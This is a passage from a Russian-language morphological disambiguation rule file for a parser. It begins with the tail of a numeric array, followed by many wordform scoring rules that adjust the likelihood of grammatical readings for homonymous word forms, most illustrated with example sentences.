-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// Правила для изменения достоверности распознавания конкретных словоформ в русском словаре.
// Обычное предназначение этих правил - изменить равновероятные распознавания
// омонимичных форм жаль(безличный глагол)>жаль(императив),
// либо повлиять на выбор многословных форм в противовес
// выбору отдельных слов: [слева от] <--> [слева] [от]
wordform_score смеси{глагол}=-10 // из чего смеси ?
wordform_score ага{ существительное }=-5
wordform_score малышки{ род:муж }=-10 // Малышки будут прыгать от радости!
wordform_score мебели{ число:мн }=-10 // Рвали обивку мебели.
wordform_score начало{ глагол }=-6 // Сегодня неплохое начало.
wordform_score воды{ род:муж }=-10 // мы приплывем в их воды
wordform_score скалы{ род:муж }=-10 // там должны быть скалы
wordform_score кафе{ род:муж }=-10 // в кафе
wordform_score скалы{ род:муж }=-10 // волны бились о скалы
wordform_score кроме{ существительное }=-10 // кроме этой вот ягоды
wordform_score жилище{ род:жен }=-10 // в ее жилище
wordform_score почитай{ наречие }=-4 // Ты лучше почитай.
wordform_score без{ существительное }=-10 // Без кладовок и гардеробных комнат
wordform_score бренды{род:жен}=-10 // Вообще-то перечисленные бренды давно уже избавились от налета местечковости.
wordform_score ярки{ существительное }=-10 // Глаза его были ярки
wordform_score голубей{ прилагательное }=-1 // Ты будешь Петькиных голубей подманивать.
wordform_score дело{ глагол }=-10 // Дело наше лесное.
wordform_score правило{ глагол }=-5 // Такое наше правило...
wordform_score карусель{ глагол }=-10 // Карусель начинается мировая.
wordform_score Германии{ число:мн }=-10 // В Германии беженец спрыгнул с поезда из-за угрозы депортации в Италию
wordform_score бусы { род:муж }=-5 // Весенние бусы персикового дерева разорвались.
wordform_score суеты { число:мн }=-10 // Завершился 26-ой тур российской премьер-лиги.
wordform_score метель { глагол }=-10 // На улице метель.
//wordform_score по-видимому { наречие }=2
//wordform_score по-видимому { вводное }=2 // Ему, по-видимому, не терпелось начать.
wordform_score энергии { существительное число:мн }=-2 // Ему и сейчас не занимать энергии.
wordform_score таки { существительное }=-5 // Ему-таки удалось ее завести.
wordform_score выстуживаем { прилагательное }=-1
wordform_score уполномочиваем { прилагательное }=-1
wordform_score кормим { прилагательное }=-1
wordform_score чиним { прилагательное }=-1
wordform_score заводим { прилагательное }=-1
wordform_score периодизируем { прилагательное }=-1
wordform_score завозим { прилагательное }=-1
wordform_score дегустируем { прилагательное }=-1
wordform_score увозим { прилагательное }=-1
wordform_score вообразим { прилагательное }=-1
wordform_score дробим { прилагательное }=-1
wordform_score таскаем { прилагательное }=-1
wordform_score превозносим { прилагательное }=-1
wordform_score потопляем { прилагательное }=-1
wordform_score волочим { прилагательное }=-1
wordform_score перевиваем { прилагательное }=-1
wordform_score засекречиваем { прилагательное }=-1
wordform_score храним { прилагательное }=-1
wordform_score уносим { прилагательное }=-1
wordform_score предводим { прилагательное }=-1
wordform_score мыслим { прилагательное }=-1
wordform_score проходим { прилагательное }=-1
wordform_score влачим { прилагательное }=-1
wordform_score творим { прилагательное }=-1
wordform_score сравним { прилагательное }=-1
wordform_score измерим { прилагательное }=-1
wordform_score душим { прилагательное }=-1
wordform_score сопоставим { прилагательное }=-1
wordform_score досягаем { прилагательное }=-1
wordform_score травим { прилагательное }=-1
wordform_score благоволим { прилагательное }=-1
wordform_score убеждаем { прилагательное }=-1
wordform_score слышим { прилагательное }=-1
wordform_score слышим { прилагательное }=-1
wordform_score подгружаем { прилагательное }=-1
wordform_score укрупняем { прилагательное }=-1
wordform_score взымаем { прилагательное }=-1
wordform_score зашвыриваем { прилагательное }=-1
wordform_score зависим { прилагательное }=-1
wordform_score ощутим { прилагательное }=-1
wordform_score громим { прилагательное }=-1
wordform_score застраиваем { прилагательное }=-1
wordform_score исправим { прилагательное }=-1
wordform_score выполним { прилагательное }=-1
wordform_score производим { прилагательное }=-1
wordform_score втемяшиваем { прилагательное }=-1
wordform_score содержим { прилагательное }=-1
wordform_score подносим { прилагательное }=-1
wordform_score вкраиваем { прилагательное }=-1
wordform_score беспокоим { прилагательное }=-1
wordform_score взнуздываем { прилагательное }=-1
wordform_score носим { прилагательное }=-1
wordform_score любим { прилагательное }=-1
wordform_score доносим { прилагательное }=-1
wordform_score уценяем { прилагательное }=-1
wordform_score ненавидим { прилагательное }=-1
wordform_score судим { прилагательное }=-1
wordform_score вмораживаем { прилагательное }=-1
wordform_score ввозим { прилагательное }=-1
wordform_score подвозим { прилагательное }=-1
wordform_score развозим { прилагательное }=-1
wordform_score привозим { прилагательное }=-1
wordform_score реструктурируем { прилагательное }=-1
wordform_score реструктурируем { прилагательное }=-1
wordform_score подтопляем { прилагательное }=-1
wordform_score перезаписываем { прилагательное }=-1
wordform_score ценим { прилагательное }=-1
wordform_score национализируем { прилагательное }=-1
wordform_score национализируем { прилагательное }=-1
wordform_score проминаем { прилагательное }=-1
wordform_score переносим { прилагательное }=-1
wordform_score возводим { прилагательное }=-1
wordform_score проницаем { прилагательное }=-1
wordform_score проводим { прилагательное }=-1
wordform_score проводим { прилагательное }=-1
wordform_score таим { прилагательное }=-1
wordform_score синхронизируем { прилагательное }=-1
wordform_score вводим { прилагательное }=-1
wordform_score гоним { прилагательное }=-1
wordform_score разделим { прилагательное }=-1
wordform_score ввариваем { прилагательное }=-1
wordform_score бороздим { прилагательное }=-1
wordform_score воспоминаем { прилагательное }=-1
wordform_score руководим { прилагательное }=-1
wordform_score сносим { прилагательное }=-1
wordform_score разносим { прилагательное }=-1
wordform_score стандартизируем { прилагательное }=-1
wordform_score терпим { прилагательное }=-1
wordform_score выносим { прилагательное }=-1
wordform_score выносим { прилагательное }=-1
wordform_score боготворим { прилагательное }=-1
wordform_score клоним { прилагательное }=-1
wordform_score прозываем { прилагательное }=-1
wordform_score привносим { прилагательное }=-1
wordform_score соизмерим { прилагательное }=-1
wordform_score компилируем { прилагательное }=-1
wordform_score централизуем { прилагательное }=-1
wordform_score упаковываем { прилагательное }=-1
wordform_score возбудим { прилагательное }=-1
wordform_score отделим { прилагательное }=-1
wordform_score ограбляем { прилагательное }=-1
wordform_score объясним { прилагательное }=-1
wordform_score наводим { прилагательное }=-1
wordform_score подводим { прилагательное }=-1
wordform_score исполним { прилагательное }=-1
wordform_score вычислим { прилагательное }=-1
wordform_score монетизируем { прилагательное }=-1
wordform_score отряжаем { прилагательное }=-1
wordform_score разъединим { прилагательное }=-1
wordform_score заменим { прилагательное }=-1
wordform_score охаиваем { прилагательное }=-1
wordform_score растворим { прилагательное }=-1
wordform_score наносим { прилагательное }=-1
wordform_score уничтожим { прилагательное }=-1
wordform_score томим { прилагательное }=-1
wordform_score заполним { прилагательное }=-1
wordform_score сводим { прилагательное }=-1
wordform_score выводим { прилагательное }=-1
wordform_score перевозим { прилагательное }=-1
wordform_score взаимозаменяем { прилагательное }=-1
wordform_score поносим { прилагательное }=-1
wordform_score вверстываем { прилагательное }=-1
wordform_score воспроизводим { прилагательное }=-1
wordform_score вывозим { прилагательное }=-1
wordform_score прорежаем { прилагательное }=-1
wordform_score дренируем { прилагательное }=-1
wordform_score разграбляем { прилагательное }=-1
wordform_score обеззараживаем { прилагательное }=-1
wordform_score тесним { прилагательное }=-1
wordform_score вносим { прилагательное }=-1
wordform_score разрешим { прилагательное }=-1
wordform_score подбодряем { прилагательное }=-1
wordform_score уловим { прилагательное }=-1
wordform_score вдергиваем { прилагательное }=-1
wordform_score автопилотируем { прилагательное }=-1
wordform_score автопилотируем { прилагательное }=-1
wordform_score воссоединяем { прилагательное }=-1
wordform_score фондируем { прилагательное }=-1
wordform_score зрим { прилагательное }=-1
wordform_score допустим { прилагательное }=-1
wordform_score преподносим { прилагательное }=-1
wordform_score устраним { прилагательное }=-1
wordform_score устрашим { прилагательное }=-1
wordform_score поправим { прилагательное }=-1
wordform_score нарезаем { прилагательное }=-1
wordform_score значим { прилагательное }=-1
wordform_score истребим { прилагательное }=-1
wordform_score окормляем { прилагательное }=-1
wordform_score воплотим { прилагательное }=-1
wordform_score будоражим { прилагательное }=-1
wordform_score тревожим { прилагательное }=-1
wordform_score применим { прилагательное }=-1
wordform_score дактилоскопируем { прилагательное }=-1
wordform_score дактилоскопируем { прилагательное }=-1
wordform_score браним { прилагательное }=-1
wordform_score провозим { прилагательное }=-1
wordform_score чтим { прилагательное }=-1
wordform_score приложим { прилагательное }=-1
wordform_score повторим { прилагательное }=-1
wordform_score вменяем { прилагательное }=-1
wordform_score раздробляем { прилагательное }=-1
wordform_score льготируем { прилагательное }=-1
wordform_score перезаправляем { прилагательное }=-1
wordform_score удовлетворим { прилагательное }=-1
wordform_score отводим { прилагательное }=-1
wordform_score переводим { прилагательное }=-1
wordform_score утапливаем { прилагательное }=-1
wordform_score предотвратим { прилагательное }=-1
wordform_score тормозим { прилагательное }=-1
wordform_score вербализуем { прилагательное }=-1
wordform_score тостуем { прилагательное }=-1
wordform_score разводим { прилагательное }=-1
wordform_score уводим { прилагательное }=-1
wordform_score искореним { прилагательное }=-1
wordform_score протапливаем { прилагательное }=-1
wordform_score изготавливаем { прилагательное }=-1
wordform_score изъясним { прилагательное }=-1
wordform_score употребим { прилагательное }=-1
wordform_score разложим { прилагательное }=-1
wordform_score возносим { прилагательное }=-1
wordform_score проносим { прилагательное }=-1
wordform_score предвидим { прилагательное }=-1
wordform_score полимеризуем { прилагательное }=-1
wordform_score полимеризуем { прилагательное }=-1
wordform_score исчислим { прилагательное }=-1
wordform_score погрешим { прилагательное }=-1
wordform_score совместим { прилагательное }=-1
wordform_score впериваем { прилагательное }=-1
wordform_score приносим { прилагательное }=-1
wordform_score доводим { прилагательное }=-1
wordform_score заносим { прилагательное }=-1
wordform_score вытаращиваем { прилагательное }=-1
wordform_score обоготворяем { прилагательное }=-1
wordform_score наметаем { прилагательное }=-1
wordform_score делим { прилагательное }=-1
wordform_score хвалим { прилагательное }=-1
wordform_score излечим { прилагательное }=-1
wordform_score обратим { прилагательное }=-1
wordform_score уязвим { прилагательное }=-1
wordform_score определим { прилагательное }=-1
wordform_score произносим { прилагательное }=-1
wordform_score возобновим { прилагательное }=-1
wordform_score соотносим { прилагательное }=-1
wordform_score победим { прилагательное }=-1
wordform_score раним { прилагательное }=-1
wordform_score отличим { прилагательное }=-1
wordform_score прокачиваем { прилагательное }=-1
wordform_score рейтингуем { прилагательное }=-1
wordform_score растравляем { прилагательное }=-1
wordform_score коров { род:муж } = -2 // Без коров мужчины погибли бы.
wordform_score ангел { род:жен } = -2 // А мисс Уиллоу была просто ангел.
wordform_score слаб { глагол } = -1 // Просто ты слаб!
//wordform_score писал { stress:"п^исал" } = -1 // Державин писал:
//wordform_score писала { stress:"п^исала" } = -1
wordform_score сердит { глагол } = -1 // Он очень сердит.
wordform_score ребят { падеж:зват } = -1 // Ребят пора вернуть
wordform_score помочь { существительное } = -10 // мы хотим вам помочь
wordform_score вон { существительное } = -1 // Я вон зарабатываю.
wordform_score скалами { род:муж } = -5 // Миновав Море Акул, путешественники оказались над Крабьими Скалами.
wordform_score воды { род:муж } = -5 // выпить воды
wordform_score воде { род:муж } = -5 // рожать в воде
wordform_score лук { род:жен } = -5 // возьми с собой лук
wordform_score базе { род:муж } = -5 // заправлять на базе
wordform_score порошки { род:жен } = -5 // Порошки не помогают...
wordform_score обезвреживания { число:мн } = -5 // Разработали план обезвреживания.
wordform_score трех { существительное } = -10 // Считаю до трех.
wordform_score метель { глагол } = -10 // На улице метель.
wordforms_score городской { существительное }=-1 // Существуют городские правила, касающиеся этих процедур.
wordforms_score утесать {глагол}=-5 // Я утешу тебя.
wordforms_score примереть {глагол}=-5 // Внутри пример
wordforms_score запоить {глагол}=-5 // Я запою
wordforms_score новое { существительное }=-5 // Начинаются поиски новых приемов, новых методов.
wordforms_score просек { существительное }=-5 // Матросы переползали просеку.
wordforms_score прививок { существительное }=-10
wordforms_score полок { существительное род:муж }=-5 // Началась переправа полков.
wordforms_score уток { существительное род:муж }=-10
wordforms_score юр { существительное }=-10
wordforms_score наркотика { существительное род:жен }=-10 // Одно время она даже пыталась бросить наркотики
wordforms_score полян { существительное род:муж }=-10
wordforms_score полянин { существительное род:муж }=-10
wordforms_score чужой { существительное }=-5 // голос ее стал чужим
wordforms_score живой { существительное }=-5 // но оно было живым!
wordforms_score пяток { существительное }=-5 // сверкать пятками
wordforms_score ложок { существительное }=-5 // звякнуть ложками
wordforms_score костра { существительное }=-5 // сжечь на костре
wordforms_score роить { глагол }=-10 // Я рою траншеи
wordforms_score ситце { род:ср }=-10 // шить из ситца
wordforms_score взяток { существительное }=-10 // Врач попался на взятке
wordforms_score сило { существительное }=-10 // Оставить в силе закон.
wordforms_score покадить { глагол }=-5 // Я после покажу...
wordforms_score выло { существительное }=-5 // Як не выл больше.
wordforms_score вылезть { глагол }=-1 // Я медленно вылез.
wordforms_score лунь { существительное }=-1 // Астронавты смогут оставаться на Луне в течение недели
wordforms_score закроить { глагол }=-1 // Я потом закрою.
wordforms_score вылезть { глагол }=-1 // Машинист вылез.
wordforms_score охаять { глагол }=-1 // Кто охает?
wordforms_score покадить { глагол }=-1 // Я покажу!
wordforms_score ила { существительное род:жен }=-5 // Я раскопал ил
wordforms_score ос { существительное род:муж }=-5 // В воздухе гудели мухи и осы.
wordforms_score прикроить { глагол }=-2 // Атакуй, прикрою.
wordforms_score ох { существительное }=-2 // Ей это ох как не нравилось.
wordforms_score кровяный { прилагательное }=-2 // Стимулирует кровообращение и снижает кровяное давление.
wordforms_score жило { существительное }=-5 // Именно так выглядит обычный кварц рудных жил.
wordforms_score крон { существительное } =-5 // Видите эти могучие кроны, тяжелые плоды?
wordforms_score утюжка { существительное }=-5
wordforms_score нар { существительное }=-2
wordforms_score подбора { существительное }=-10
wordforms_score кормило { существительное }=-10
wordforms_score дубка { существительное }=-2 // Сам горб порос крепкими дубками.
wordforms_score кода { существительное }=-5 // Серые ячейки указывают на неназначенные коды
wordforms_score песнь { существительное }=-1 // Проводится круглогодичный конкурс бардовской песни.
wordforms_score тоника { существительное }=-10
wordforms_score рака { существительное }=-10
wordforms_score бахчевый { прилагательное }=-5 // Особое внимание уделялось бахчевым культурам.
wordforms_score нецелевый { прилагательное }=-5 // Процветало нецелевое использование этих средств.
wordforms_score запасный { прилагательное }=-5 // Пятигорский вокзал был запасным вариантом.
wordforms_score бредовой { прилагательное }=-5 // Первая стопка содержала бредовые работы.
wordforms_score меньшой { прилагательное }=-5 // Такие передачи имеют меньшую аудиторию.
wordforms_score меховый { прилагательное }=-5 // Летняя распродажа меховых изделий продолжается!
wordforms_score заводский { прилагательное }=-10 // Существует заводская группа внутренних аудиторов.
wordforms_score щенка { существительное }=-10 // Продаются красивые щенки йоркширского терьера.
wordforms_score кур { существительное }=-10
wordforms_score любый { прилагательное }=-10 // Для него любая власть является раздражителем.
wordforms_score ванный { прилагательное }=-1 // большая ванная
wordforms_score плавной { прилагательное }=-10 // Такая конструкция обеспечивает плавное перемещение
wordforms_score санатория { существительное }=-10
wordforms_score шпалер { существительное }=-10
wordforms_score хромый { прилагательное }=-5 // Волшебный лепесток излечивает хромого мальчика.
wordforms_score газа { существительное }=-1 // Раскаленные газы с чудовищной силой вырываются
wordforms_score рейки { род:ср }=-10 // Многочисленные рейки стягивала стальная проволока.
wordforms_score протяжной { прилагательное }=-5 // Каменные своды отозвались протяжным эхом.
wordforms_score страстной { прилагательное }=-2 // Страстная любовь вызывает страстную борьбу.
wordforms_score дневный { прилагательное }=-2 // Дневная суета сменилась полной тишиной.
wordforms_score хромый { прилагательное }=-2 // Гони эту свору хромого горбуна!
wordforms_score восковой { прилагательное }=-5 // Восковые свечи разливали мягкое сияние.
wordforms_score угловый { прилагательное }=-5 // Угловая камера записала этот момент.
wordforms_score пестрить { глагол }=-10 // Мировая пресса пестрит сенсационными сообщениями.
wordforms_score чина { существительное }=-5 // Это требование поддержали высшие чины.
wordforms_score языковый { прилагательное }=-5
wordforms_score половый { прилагательное }=-5 // Переполненный желудок затрудняет половой акт.
wordforms_score шампанский { прилагательное }=-5
wordforms_score замок { глагол }=-10 // Замок небольшой и необычный.
wordforms_score синоптика { существительное }=-5 // Русский сухогруз утопили турецкие синоптики.
wordforms_score корректив { существительное род:муж }=-10 // Президентские выборы вносят определенные коррективы.
wordforms_score поджога { существительное род:жен }=-10 // Умышленные поджоги стали доходным бизнесом.
wordforms_score матерь { существительное }=-1
wordforms_score плюсовый { прилагательное }=-1
wordforms_score экой { прилагательное }=-1 // Экую несуразицу плетет этот мужик.
wordforms_score овсяной { прилагательное }=-5 // Сморщенный чиновник жует овсяную лепешку.
wordforms_score хмельный { прилагательное }=-1 // Остался ровный шелест хмельных кипарисов.
wordforms_score спазма { существительное }=-10 // Пустой желудок разрывали болезненные спазмы.
wordforms_score мазка { существительное }=-10 // Замельтешили нервные мазки ярких красок...
wordforms_score громовый { прилагательное }=-5 // Эти вспышки сопровождались громовыми ударами.
wordforms_score зарев { существительное }=-10 // Длинные пальцы налились красноватым заревом.
wordforms_score шара { существительное }=-5 // Латунные шары заполнялись керосиновой смесью.
wordforms_score корн { существительное }=-5 // в корне мандрагоры содержится наркотический сок
wordforms_score справа { существительное }=-10 // Справа Дэни разглядела маленькое каменное святилище.
wordforms_score теля { существительное }=-5 // Было чувство клаустрофобии в собственном теле.
wordforms_score коленной { прилагательное }=-5 // 26-летний футболист получил растяжение коленного сустава.
wordforms_score полом { существительное }=-5 // Бойцы рыли под полом окопы.
wordforms_score бород { существительное }=-5 // Елена просит молодого мужа сбрить бороду.
wordform_score присутствия { число:мн }=-5 // // Ей стало не хватать его присутствия.
wordform_score косы { род:муж число:мн }=-10 // Ее косы были убраны под шапку.
wordform_score обожания { число:мн }=-10 // Изливают любвеобильные лучи обожания
wordform_score смелости { число:мн }=-10 // Ей просто недоставало смелости его сделать.
wordform_score ясности { число:мн }=-10 // Черные ящики не добавили ясности.
wordform_score с { частица }=-2 // // Загадали желания – ждем-с!
wordform_score "ей-богу"{} = 10 // Ей-богу, отлично выйдет.
wordform_score дыхания { число:мн }=-2 // Ее подключили к аппарату искусственного дыхания.
wordform_score реставрации { число:мн }=-2 // Ее не ремонтировали со времен Реставрации.
wordform_score бересты { число:мн }=-10 // Сверху настелили большие куски бересты.
wordform_score охоты { число:мн }=-10 // Сезон охоты откроют 25 августа.
wordform_score развития { существительное число:мн }=-10 // В Чувашии обсуждают проблемы инновационного развития регионов
wordform_score наглости { существительное число:мн }=-10 // противопоставить наглости
wordform_score еды { существительное число:мн }=-5 // хозяин должен дать еды
wordform_score безопасности { существительное число:мн }=-5 // Его обвинили в пренебрежении вопросами безопасности.
wordform_score выдержки { существительное число:мн }=-5 // Если хватит выдержки...
wordform_score истерик { существительное }=-2 // И хватит истерик!
wordform_score послезавтра { существительное }=-5 // Послезавтра утром проверю...
wordform_score дискриминации { число:мн }=-5 // Его называли анахронизмом и признаком дискриминации.
wordform_score полиции { число:мн }=-5 // Его доставили в 20-й отдел полиции.
wordform_score уверенности { число:мн }=-10 // Его немое обожание придавало Анне уверенности.
wordform_score насилия { число:мн }=-5 // А насилия Рекс никогда не совершит.
wordform_score болтовни { число:мн }=-10 // А теперь хватит болтовни, Кейн.
wordform_score оружия { число:мн }=-10 // А Филип вообще не любит оружия.
wordform_score внимания { число:мн }=-10 // А на брата не обращай внимания.
wordform_score бытия { число:мн }=-10 // Имеют телесную форму предшествовавшего бытия.
wordform_score сочувствия { число:мн }=-5 // А вот Мария действительно заслуживает сочувствия.
wordform_score разнообразия { число:мн }=-5 // Болото хотело разнообразия в компании.
wordform_score ним { существительное }=-5 // А вместе с ним и свою душу.
wordform_score ник { глагол }=-5 // А ты как думаешь, Ник?
wordform_score тете { одуш:неодуш }=-1 // А перед этим послал тете цветы.
wordform_score гораздо { прилагательное }=-5 // А кажется, что гораздо больше.
wordform_score Калифорнии { число:мн }=-10 // А в Калифорнии сейчас цветет мимоза.
wordform_score замок { глагол }=-10 // А на краю леса красивый замок.
wordform_score мирке { род:жен }=-5 // В их мирке вдруг оказался третий.
wordform_score жалости { число:мн }=-5 // В этом деле не знают жалости.
wordform_score орала { существительное }=-5 // Я била подушки и орала в ярости.
wordform_score яркости { число:мн }=-2 // Второй цвет добавляет яркости и выразительности.
wordform_score выразительности { число:мн }=-10 // Второй цвет добавляет яркости и выразительности.
wordform_score македонии { число:мн }=-10 // Встретились главы МИД России и Македонии.
wordform_score бочками { род:муж }=-5 // Грузить апельсины бочками?
wordform_score полдня { существительное }=-5 // Полдня шел дождь.
wordform_score пол { падеж:род }=-5 // Меряю шагами пол.
wordform_score правей { глагол }=-10 // Еще чуть правей...
wordform_score чуточку { существительное }=-10 // Самолет чуточку подбросило.
wordform_score правосудья { число:мн }=-10 // Жид хочет правосудья
wordform_score единства { число:мн }=-10 // Партия хочет единства.
wordform_score счастья { число:мн }=-10 // Все хотят счастья.
wordform_score агрессии { число:мн }=-10 // Фашизм хочет агрессии?..
wordform_score горючки { число:мн }=-10 // Не хватило горючки.
wordform_score усмирения { число:мн }=-10 // Потребовать усмирения Петрограда.
wordform_score метель { глагол }=-15 // На улице метель.
wordform_score ясней { глагол }=-10 // Куда уж ясней.
wordform_score штурману { глагол }=-10 // Штурману тоже трудно.
wordform_score целиком { существительное }=-10 // Скука съела целиком.
wordform_score хмелю { глагол }=-10
wordform_score четкой { существительное }=-2 // Работа персонала была четкой
wordform_score милую { глагол }=-10
wordform_score гордости { число:мн }=-10 // Есть другие предметы, достойные гордости.
wordform_score тих { глагол }=-10
wordform_score инфраструктуры { число:мн }=-2 // РАЗРАБОТАЮТ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ЭЛЕКТРОННОЙ ИНФРАСТРУКТУРЫ.
wordform_score ангелы { род:жен }=-5
wordform_score большие { СТЕПЕНЬ:СРАВН }=-10 // большие отели
wordform_score больших { СТЕПЕНЬ:СРАВН }=-10
wordform_score большим { СТЕПЕНЬ:СРАВН }=-10
wordform_score большими { СТЕПЕНЬ:СРАВН }=-10
wordform_score физики { род:жен } =-5 // Волгоградские Физики совершили научную революцию.
wordform_score хорошей { глагол }=-10 // хорошей душевой кабиной
wordform_score стиле { существительное род:ср }=-2 // Продам свадебное платье в греческом стиле
wordform_score молока { род:жен падеж:им }=-2
wordform_score Турции { число:мн }=-5 // В Турции муллы провозглашают священную войну.
wordform_score гости { глагол }=-5 // В саду могут оказаться и гости.
wordform_score администрации { число:мн }=-5 // Структуру администрации Краснодара изменят
wordform_score горячим { глагол }=-5
wordform_score свежую { глагол }=-5 // свежую рыбу
wordform_score голубой { существительное }=-10 // за дверью жил голубой лев
wordform_score фанту { род:муж }=-5
wordform_score фанте { род:муж }=-5
wordform_score баню { ГЛАГОЛ }=-5
wordform_score бань { ГЛАГОЛ }=-5
wordform_score сласти { ГЛАГОЛ }=-10
wordform_score сыр { ПРИЛАГАТЕЛЬНОЕ }=-5
wordform_score сыра { ПРИЛАГАТЕЛЬНОЕ }=-5
wordform_score сыры { ПРИЛАГАТЕЛЬНОЕ }=-5
wordform_score альбом { ПАДЕЖ:ТВОР }=-5 // По запросу могу показать альбом.
wordform_score хоре { падеж:предл одуш:одуш }=-5 // подпевать в церковном хоре
wordform_score Европы { число:мн }=-5 // Ее считали прекраснейшей женщиной Европы.
wordform_score свежую { глагол }=-6 // свежую форель
wordform_score содействия { число:мн }=-5
wordform_score общества { число:мн }=-1 // Индивидуальную честность связали с прогрессивностью общества
wordform_score подготовки { число:мн }=-5 // Процесс подготовки спутника к запуску уместили в короткий видеоролик
wordform_score недвижимости { число:мн }=-10 // Тест: способны ли вы отличить рекламу недвижимости от рекламы презервативов?
wordform_score родины { число:мн }=-2 // Кандидата «Родины» уличили в получении поддельного военного билета
wordform_score защиты { число:мн }=-2 // Google просит защиты у Аркадия Дворковича
wordform_score освобождения { число:мн }=-5 // В Болгарии отпраздновали годовщину освобождения от османского ига
wordform_score веры { число:мн }=-5 // Папу Римского призвали отказаться от догмата своей непогрешимости в вопросах веры
wordforms_score гнома { существительное }=-10 // Но гномы начали погоню
wordform_score рада { существительное }=-2
wordform_score полон { существительное }=-10 // а этот полон ненависти
wordform_score Марин { существительное }=-2 // Алла отпустила Марину
wordforms_score снимка { существительное }=-5
wordforms_score ям { существительное }=-5
wordforms_score купа { существительное }=-5 // мы нашли в его купе
wordforms_score половый { прилагательное }=-5
wordforms_score теста { существительное }=-5 // выявляться тестами
wordforms_score гриба { существительное }=-5 // отравиться грибами
wordforms_score босый { прилагательное }=-5 // ноги ее были босые
wordforms_score арен { существительное }=-5
wordforms_score плат { существительное }=-5
wordforms_score теста { существительное род:жен }=-5
wordforms_score бара { существительное род:жен }=1 // праздновать в баре
wordform_score погиб { существительное }=-5
wordforms_score хора { существительное }=-5
wordforms_score дворовой { прилагательное }=-5
wordforms_score сводной { прилагательное }=-5
wordforms_score шпор { существительное }=-5
wordform_score сдачи { число:мн }=-2 // Сдачи не надо.
wordforms_score комара { существительное }=-5
wordforms_score бара { существительное }=-5
wordforms_score теста { существительное }=-5
wordforms_score венка { существительное }=-5
wordforms_score метода { существительное }=-5
wordforms_score мор { существительное }=-5
wordforms_score мора { существительное }=-5 // Море достаточно холодное
wordform_score трое { существительное }=-5 // трое из мира людей
wordform_score повезло { глагол }=-2 // - Не повезло тебе.
wordforms_score распоряженье { существительное }=-5 // Полицейские стали ждать дальнейших распоряжений.
wordforms_score варианта { существительное род:жен }=-10 // Для разных ситуаций есть предпочтительные варианты.
wordforms_score лангуста { существительное }=-10 // В рыбном купила огромного сырокопченого лангуста.
wordforms_score верховый { прилагательное }=-5 // Бывало, возьмут верховых лошадей и уедут в поле.
wordforms_score об { существительное }=-10
wordforms_score слушанье { существительное }=-5 // Регламент проведения публичных слушаний утверждается постановлением городского парламента.
wordforms_score леса { существительное }=-5 // В алтайских лесах истребили сибирского коконопряда, объедающего хвою
wordforms_score рельса { существительное }=-1 // В основном были подорваны рельсы на второстепенных запасных путях.
wordforms_score перекрытье { существительное }=-5 // Лишь в одной части здания перекрытия оказались бетонными.
wordforms_score бракосочетанье { существительное }=-5 // Но в понедельник во Дворце бракосочетания был выходной.
wordforms_score благополучье { существительное } =-5 // В полном благополучии путешественники достигли Вефиля.
wordforms_score лет { род:муж }=-5 // Летом в этой бухте собиралась целая флотилия яхт.
wordforms_score снов { существительное }=-10
wordforms_score така { существительное }=-5 // Сигнал бедствия от лыжницы так и не поступил.
wordforms_score корпусный { прилагательное }=-5 // Снаряд выпустила наша батарея 5-го корпусного артиллерийского полка.
wordforms_score окружный { прилагательное }=-5 // В Агинском округе началась внеочередная сессия окружной думы.
wordforms_score входный { прилагательное }=-5 // Для делегатов напечатали специальные входные билеты.
wordforms_score образной { прилагательное }=-5 // Образное выражение, однако, отражает реальную жизнь.
wordforms_score окружный { прилагательное }=-5 // Финансирование осуществлялось из окружного бюджета.
wordforms_score дверный { прилагательное }=-5
wordforms_score личной{ прилагательное }=-5 // - А ты пробовал концентрировать свои личные мысли?
wordforms_score основный{ прилагательное }=-5 // Основные "боевые" мероприятия проходят в Самаре.
wordforms_score мирной{ прилагательное }=-5 // Уже в мирное время миссии тачали хорошие сапоги;
wordforms_score ЧЕСТНОЙ{ прилагательное }=-5 // Это было хорошее, честное, благородное желание.
wordforms_score РОДНЫЙ{ прилагательное }=-5 // Израильские танкисты приняли меня как родного.
wordforms_score назначенье{ существительное }=-5 // В администрации Алтайского края произошел ряд отставок и назначений
wordforms_score кадра{ существительное }=-5
wordforms_score перекрытье{ существительное }=-5 // Лишь в одной части здания перекрытия оказались бетонными.
wordforms_score увечье{ существительное }=-5 // Жертва аварии скончалась в больнице от полученных увечий.
wordforms_score исключенье{ существительное }=-5 // Однако из этого правила существует несколько исключений.
wordforms_score подкрепленье{ существительное }=-5 // При этом используется вероятностная схема подкреплений.
wordforms_score нет{ существительное }=-5 // решение жениться или нет можешь принять только ты сам.
wordforms_score признанье{ существительное }=-5 //
wordforms_score втора{ существительное }=-5
wordforms_score настроенье{ существительное }=-5 // Но антироссийских настроений вы в Грузии не найдете.
wordforms_score заседанье{ существительное }=-5 // Семеро акционеров не были допущены в зал заседаний.
